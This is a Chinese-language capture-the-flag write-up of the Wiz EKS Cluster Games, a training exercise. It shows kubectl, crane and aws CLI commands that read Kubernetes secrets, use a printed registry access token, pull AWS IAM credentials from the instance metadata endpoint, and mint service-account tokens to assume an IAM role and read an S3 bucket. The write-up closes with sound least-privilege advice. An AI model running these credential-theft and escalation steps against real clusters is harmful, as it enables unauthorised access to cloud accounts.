云安全-wiz eks-cluster-games题解与思考

简介: 云安全-wiz eks-cluster-games题解与思考

题目1 Secret Seeker

可以看到有secrets的get和list权限

kubectl get secrets
kubectl  get secrets log-rotate -o yaml

之后base64解码即可

题目2 Registry Hunt

可以看到有secrets的get和pods的list、get权限

由于没有secrets的list权限,我们需要先通过pods来确定secret的名称

kubectl get pods
kubectl get po database-pod-2c9b3a4e -o yaml

查看secret

kubectl get secret registry-pull-secrets-780bab1d -o yaml

之后发现题目的crane工具可以登录

crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo

下载镜像层

crane pull eksclustergames/base_ext_image base_ext_image.tar
tar -xvf base_ext_image.tar

解压

tar -xvf 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz

最后再cat一下就行了

部分尝试

尝试了docker,发现这个节点没有

也无法安装

题目3 Image Inquisition

第二个单词是“盘问”的意思,看来要搞镜像了

可以看到有pods的list和get权限

kubectl get po
kubectl get po accounting-pod-876647f8 -o yaml

看了Hint #1

然后发现,正是我前段时间研究AWS EC2时的文章中写的SSRF安全问题

curl 169.254.169.254/latest/meta-data

查看iam临时凭据

curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole

配置好aws cli后生成密码,并使用crane获取更多信息。

aws ecr get-login-password | crane auth login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01

ARTIFACTORY_TOKEN就是flag

部分尝试

进行了类似题目2的尝试,失败了,原因是没有权限

进行权限列表获取,失败了,原因是没有权限

题目4 Pod Break

可以看到没有权限了,那就只能通过sts了

aws eks help

生成token

aws eks get-token --cluster-name eks-challenge-cluster

获取secrets

kubectl get secrets --token k8s-aws-xxx

查看具体内容

kubectl get secrets node-flag --token k8s-aws-xxx -o yaml

部分尝试

验证权限,确实没有了

题目5 Container Secrets Infrastructure

{
    "Policy": {
        "Statement": [
            {
                "Action": [
                    "s3:GetObject",
                    "s3:ListBucket"
                ],
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2",
                    "arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"
                ]
            }
        ],
        "Version": "2012-10-17"
    }
}

允许列出和读取s3桶的对象,那应该就是flag对象了

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"
                }
            }
        }
    ]
}

授权时做了限制,限制了audience和Federated

{
    "secrets": [
        "get",
        "list"
    ],
    "serviceaccounts": [
        "get",
        "list"
    ],
    "pods": [
        "get",
        "list"
    ],
    "serviceaccounts/token": [
        "create"
    ]
}

可以列出或读取secrets/serviceaccounts/pods内容,可以创建serviceaccounts/token

实际上做了限制,只能给debug-sa这个创建token

aws cli没有s3权限,只能先看看eks集群有啥信息了

kubectl get sa

只有sa有东西,不理解,可能权限给多了

debug-sa应该也没用,description写了没有policy。

创建一个token试一下

kubectl create token debug-sa

解密发现和策略的限制能对的上,那看来其实是用debug-sa的

发现并不行,auience是不对的,翻到前面的限制发现audience必须sts.amazonaws.com

加上audience后终于成功了

切换后终于有s3权限了

部分尝试

尝试创建token,没有权限

思考

权限不必提供

攻击到集群,可以执行命令后,首先要做的就是查看权限,常用命令

kubectl auth can-i --list

secret使用时需要注意

base64编码不安全

镜像使用

注意镜像层是否有敏感信息,防止通过docker history等命令暴露;dockerconfig等镜像仓库配置需要保存好。

云上配置

注意RBAC、IAM policy等敏感配置,遵循最小权限原则。

参考

wiz-宣布EKS集群游戏

k8s学习-Secret(创建、使用、更新、删除等)

k8s-私有仓库拉取镜像

容器注册表工具-crane

云原生-AWS EC2使用、安全性及国内厂商对比

aws-cli

aws-ecr工具使用

如何获取凭据

aws-cli-sts

aws-cli-eks

aws-cli-s3

https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html?highlight=assumerolewithwebidentity

JSON Web Tokens (JWT) 在线解密

相关文章
|
编解码 数据安全/隐私保护
FFmpeg深入学习 2
FFmpeg深入学习
518 0
|
Java 数据安全/隐私保护 C++
一款免配置的浏览器编程工具jupyter,可以同时编写 python,java,c,c++,体积小
一款免配置的浏览器编程工具jupyter,可以同时编写 python,java,c,c++,体积小
721 2
|
Kubernetes 负载均衡 Ubuntu
Kubernetes安装详细教程 Ubuntu版
本教程基于Ubuntu 22.04配置Kubernetes环境,涵盖依赖安装、swap关闭、内核参数调整、containerd与Kubernetes组件安装、集群初始化及CNI网络插件部署等内容,并提供常见问题处理方法和相关工具推荐。
|
算法 JavaScript UED
Diff 算法的实现原理
【10月更文挑战第18天】Diff 算法是 Vue.js 中实现高效 DOM 更新的核心机制,通过合理的比较和优化策略,能够在保证界面正确性的同时,最大程度地减少 DOM 操作,提高应用的性能和用户体验。
665 2
|
机器学习/深度学习 人工智能 自然语言处理
揭开模型微调Fine-Tuning的神秘面纱:如何在预训练基础上巧妙调整,解锁定制AI解决方案的秘密武器
【10月更文挑战第8天】模型微调是在预训练模型基础上,利用特定领域数据进一步训练,以优化模型在特定任务上的表现。此方法广泛应用于自然语言处理和计算机视觉等领域,通过调整预训练模型的部分或全部参数,结合适当的正则化手段,有效提升模型性能。例如,使用Hugging Face的Transformers库对BERT模型进行微调,以改善文本匹配任务的准确率。
650 1
|
设计模式 前端开发 JavaScript
前端编程的异步解决方案有哪些?
本文首发于微信公众号“前端徐徐”,介绍了异步编程的背景和几种常见方案,包括回调、事件监听、发布订阅、Promise、Generator、async/await和响应式编程。每种方案都有详细的例子和优缺点分析,帮助开发者根据具体需求选择最合适的异步编程方式。
540 1
|
机器学习/深度学习 编解码 人工智能
【生成式对抗网络】GANs在数据生成、艺术创作,以及在增强现实和虚拟现实中的应用
生成对抗网络(Generative Adversarial Networks, GANs)在数据生成领域具有显著的应用价值。GANs通过生成器(Generator)和判别器(Discriminator)两个相互竞争的神经网络,不断迭代优化,从而生成高质量的数据样本。这一技术在数据增强方面尤为重要,特别是在数据稀缺或难以获取的领域,如医疗影像分析、自动驾驶等。GANs能够生成与真实数据相似的新数据样本,从而扩充数据集规模,提高模型的泛化能力。此外,GANs还可以用于生成仿真数据,如金融领域中的股票价格走势,用于训练预测模型,提高预测准确性
647 2
|
NoSQL 关系型数据库 MySQL
|
存储 编解码 测试技术
【硬件篇之电源纹波噪声测试】
【硬件篇之电源纹波噪声测试】
1184 1
【硬件篇之电源纹波噪声测试】

热门文章

最新文章